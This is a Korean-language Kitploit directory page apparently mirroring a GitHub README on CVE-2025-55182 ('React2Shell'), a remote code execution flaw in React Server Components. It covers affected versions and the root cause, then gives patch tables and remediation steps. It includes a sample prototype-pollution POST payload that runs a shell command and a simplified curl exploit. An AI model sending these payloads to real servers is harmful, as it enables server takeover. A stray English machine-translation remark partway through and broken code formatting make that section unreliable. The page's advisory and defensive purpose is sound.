Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182 — "조작된 HTTP 요청 하나만으로 서버 전체가 손상될 수 있습니다." — React Security Team, 2025년 12월 | Kitploit
도구/GitHubGitHub/logesh-git001/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationThreat IntelligenceLearning & EducationIncident Response
GitHublogesh-git001/cve-2025-55182

CVE-2025-55182

"조작된 HTTP 요청 하나만으로 서버 전체가 손상될 수 있습니다." — React Security Team, 2025년 12월

저장소 보기
2105개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55182 — React2Shell

React Server Components의 치명적 원격 코드 실행 취약점.

심각도: 치명적 | CVSS v3.1: 10.0 (최대) | 상태: 활발히 악용 중


이것은 무엇인가?

React2Shell은 React Server Components(RSC) — 브라우저 대신 서버에서 웹 앱의 일부를 실행하게 해주는 최신 기능 — 에서 발견된 치명적인 보안 취약점입니다.

이 결함으로 인해 인터넷상의 모든 공격자가 — 로그인 없이, 특별한 권한 없이, 시스템에 대한 사전 지식 없이 — 단 하나의 악성 HTTP 요청을 서버에 보내 서버에서 원하는 모든 코드를 실행할 수 있습니다. 즉, 데이터를 탈취하거나 악성코드를 설치하거나 랜섬웨어로 파일을 잠그거나 서버를 완전히 장악할 수 있습니다.

이렇게 생각해 보세요: 서버에는 신뢰할 수 있는 방문자만 열 수 있도록 설계된 문이 있는데, 알고 보니 특정한 방식으로 노크만 하면 누구나 들어올 수 있다는 것입니다.


빠른 참조

속성값
CVE IDCVE-2025-55182 (React2Shell이라고도 함)
심각도치명적 — 원격 코드 실행(RCE)
CVSS v3.1 점수10.0 / 10.0 (최대 가능)
CVSS v4 점수9.3 / 10.0
취약점 유형CWE-502 — 신뢰할 수 없는 데이터의 역직렬화
공격 방식단일 HTTP POST 요청, 인증 불필요
발견자Lachlan Davidson (보안 연구원)
공개일2025년 12월 3일
악용 상태공개 익스플로잇 사용 가능 — 공격자에 의해 활발히 악용 중
관련 CVECVE-2025-66478 (Next.js — 중복 확인됨)

영향을 받는 대상은?

취약한 React 버전```

react-server-dom-webpack — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 react-server-dom-parcel — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 react-server-dom-turbopack — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0

### 영향을 받는 프레임워크

| 프레임워크 / 도구           | 영향 범위                                          |
|----------------------------|----------------------------------------------------|
| **Next.js 15.x – 16.x**    | App Router 전용 — Pages Router는 **영향을 받지 않음** |
| **React Router RSC**       | 불안정 / 미리보기 채널 전용                        |
| **Redwood SDK**            | RSC 모드 전용                                      |
| **Waku**                   | RSC가 활성화된 모든 버전                           |
| **Expo**                   | RSC 미리보기 빌드 전용                             |
| **Vite RSC Plugin**        | 모든 통합                                          |
| **Parcel RSC Plugin**      | 모든 통합                                          |
| **사용자 지정 RSC 설정**   | RSC Flight 역직렬화를 사용하는 모든 서버            |

> ⚠️ **중요:** Server Actions 또는 Server Functions를 명시적으로 사용하지 않더라도 취약합니다. 앱에서 React Server Components가 활성화되어 있는 한 말이죠.

> ✅ **영향 없음:** Pages Router만 사용하는 앱, 또는 서버 사이드 React를 전혀 사용하지 않는 앱.

---

## 왜 이렇게 위험한가?

React2Shell이 특히 심각한 세 가지 이유는 다음과 같습니다:

1. **인증 불필요.** 인터넷의 누구나 이 공격을 시도할 수 있습니다. 계정, 토큰, 사전 접근 권한이 필요 없습니다.

2. **기본 설치에서 작동.** `create-next-app`으로 만든 완전히 새로운 Next.js 앱은 사용자 지정 구성이 전혀 없어도 즉시 공격이 가능합니다. 개발자가 잘못된 것을 하지 않아도 취약할 수 있습니다.

3. **거의 100% 신뢰성.** 보안 연구원들은 패치되지 않은 서버를 대상으로 이 익스플로잇이 거의 항상 작동한다는 것을 확인했습니다.

---

## 공격은 어떻게 작동하나요?

### 근본 원인 — 쉽게 설명하면

React 서버가 클라이언트로부터 데이터를 수신하면 다음에 무엇을 해야 하는지 이해하기 위해 해당 데이터를 처리(역직렬화)합니다. 문제는 React가 **데이터가 안전하거나 합법적인지 전혀 확인하지 않는다**는 것입니다. 도착하는 것을 맹목적으로 신뢰하기 때문입니다.

공격자는 서버 내부의 JavaScript 동작을 가로채는 특수하게 조작된 데이터를 전송하여 이를 악용하며, 궁극적으로 자신의 코드를 주입하고 실행할 수 있게 됩니다.

### 기술적 설명

이 익스플로잇은 **프로토타입 오염(prototype pollution)** 이라는 기법을 사용합니다:

1. 공격자는 아무 RSC 엔드포인트로 조작된 HTTP POST 요청을 전송합니다(특별한 URL이 필요 없습니다).
2. React Flight Protocol 파서는 구조적 검증 없이 페이로드를 처리합니다.
3. 악성 페이로드는 모든 다른 객체가 상속하는 기본 JavaScript 객체인 `Object.prototype.then`을 오염시킵니다.
4. 이로써 공격자는 JavaScript의 `Function` 생성자에 접근할 수 있게 됩니다.
5. 공격자는 `Function` 생성자를 사용하여 Node.js 서버 프로세스 권한으로 임의 코드를 실행합니다.```
Step 1 — Attacker sends crafted HTTP POST
         ↓
Step 2 — React deserializes payload blindly
         ↓
Step 3 — Object.prototype.then is hijacked (prototype pollution)
         ↓
Step 4 — Function constructor is accessed
         ↓
Step 5 — Attacker's code runs on the server
         ↓
Step 6 — Attacker has full server control

단순화된 코드 예시```js

// This is a simplified version of the vulnerable code path inside React function parseFlightRequest(req) { const flight = req.body;

// ❌ NO validation — the server trusts whatever arrives
const decoded = dangerousDeserialize(flight);  // Attack happens here

// If the attacker controls decoded.action → RCE
return executeServerReference(decoded.action);

}

### 공격의 형태```http
POST /?flight=1 HTTP/1.1
Content-Type: text/plain

{
  "status": "resolved_model",
  "$1:__proto__:then": "node:process.mainModule.require('child_process').execSync('id > /tmp/rce')",
  "_formData.get": "$1:constructor:constructor"
}

I don't see any content after "INPUT:" — the chunk text appears to be missing from the request. Please provide the actual Markdown content of chunk 9, and I'll translate it into Korean.```bash

Simplified cURL version of the exploit

curl -X POST https://target.com/react?flight=1
-H "Content-Type: text/plain"
--data '["$ACTION_REF","proto","constructor","<attacker_payload>"]'

> 🚫 **법적 경고:** 소유하지 않았거나 명시적 서면 승인을 받지 않은 시스템에는 사용하지 마십시오.

---

## 수정된 버전 — 지금 패치하세요

### React RSC 패키지

| 패키지                      | 패치된 버전                  |
|------------------------------|------------------------------|
| `react-server-dom-webpack`   | 19.0.1, 19.1.2, **19.2.1+** |
| `react-server-dom-parcel`    | 19.0.1, 19.1.2, **19.2.1+** |
| `react-server-dom-turbopack` | 19.0.1, 19.1.2, **19.2.1+** |

> 💡 **권장 사항:** 관련 후속 취약점(CVE-2025-55183, CVE-2025-55184, CVE-2025-67779)까지 해결하려면 **19.2.3**으로 업그레이드하세요.

### Next.js

| 현재 버전 | 업그레이드 대상 |
|--------------|-------------|
| 13.x / 14.x  | **14.2.35** |
| 15.0.x       | **15.0.5**  |
| 15.1.x       | **15.1.9**  |
| 15.2.x       | **15.2.6**  |
| 15.3.x       | **15.3.6**  |
| 15.4.x       | **15.4.8**  |
| 15.5.x       | **15.5.7**  |
| 16.0.x       | **16.0.7**  |

---

## 자신을 보호하는 방법 — 단계별 가이드

아래 단계를 **순서대로** 따르세요. 1단계와 2단계는 필수입니다. 나머지는 추가 방어 계층을 제공합니다.

### 1단계 — React 패키지 업그레이드(가장 중요)```bash
# Check your current version
npm list react-server-dom-webpack

# Upgrade to the latest patched version
npm install react-server-dom-webpack@latest
npm install react-server-dom-parcel@latest
npm install react-server-dom-turbopack@latest

2단계 — 프레임워크 업그레이드```bash

For Next.js — replace X with your patched version from the table above

npm install next@X

### Step 3 — WAF 보호 추가(심층 방어)

| Cloud Provider       | Action Required                                                                           |
|----------------------|-------------------------------------------------------------------------------------------|
| **AWS WAF**          | `AWSManagedRulesKnownBadInputsRuleSet` v1.24+ 활성화 — React2Shell 규칙 포함    |
| **AWS Network Firewall** | Active Threat Defense 관리 규칙 활성화(MadPot을 통해 자동 업데이트)                |
| **Google Cloud Armor** | 콘솔에서 React2Shell 규칙 세트 배포                                        |
| **Cloudflare**       | WAF 규칙 `react2shell-cve-2025-55182` — Pro+ 요금제에 자동 적용                      >

> ⚠️ **WAF 규칙만으로는 충분하지 않습니다.** 모든 페이로드 변형을 차단할 수는 없습니다. 패키지를 패치하는 것이 유일한 완전한 해결책입니다.

### Step 4 — 즉시 패치할 수 없는 경우

- 서버에서 RSC Flight 엔드포인트를 일시적으로 **비활성화**하세요.
- 이렇게 하면 패치를 적용할 때까지 공격 표면이 줄어듭니다.

### Step 5 — 이미 공격을 받았는지 확인

- 패치 날짜 이전에 RSC/flight 엔드포인트로 향하는 의심스러운 POST 요청이 있는지 **서버 로그를 감사**하세요.
- 비정상적인 외부 연결, 새 사용자 계정, 예상치 못한 프로세스를 찾아보세요.

### Step 6 — 침해를 가정한 예방 조치

- **모든 비밀 정보를 교체**하세요 — API 키, 데이터베이스 자격 증명, 세션 토큰, 환경 변수.
- 취약한 버전을 실행한 모든 서버는 잠재적으로 손상된 것으로 취급하세요.

---

## 실제 공격 활동

### 규모 (2026년 4월 기준)

| Metric                   | Figure                              |
|--------------------------|-------------------------------------|
| 총 공격 세션    | **810만 건 이상** (GreyNoise)        |
| 일일 공격량      | **300,000 – 400,000** 요청/일  |
| 일일 최대 공격량        | **430,000건 이상** (2025년 12월 말)   |
| 고유 공격자 IP      | **8,163개** (101개국)      |
| 최초 감염까지 걸리는 시간  | 서버 노출 후 **2분**  |

AWS 단독으로 관찰된 공격자 인프라의 3분의 1 이상을 차지합니다. 즉, 공격자들은 대부분 클라우드 호스팅 서버에서 운영되며 이러한 공격을 대규모로 수행하고 있습니다.

### 누가 공격하고 있나?

이 취약점을 악용하는 여러 뚜렷한 위협 행위자 그룹이 확인되었습니다:
도구 다운로드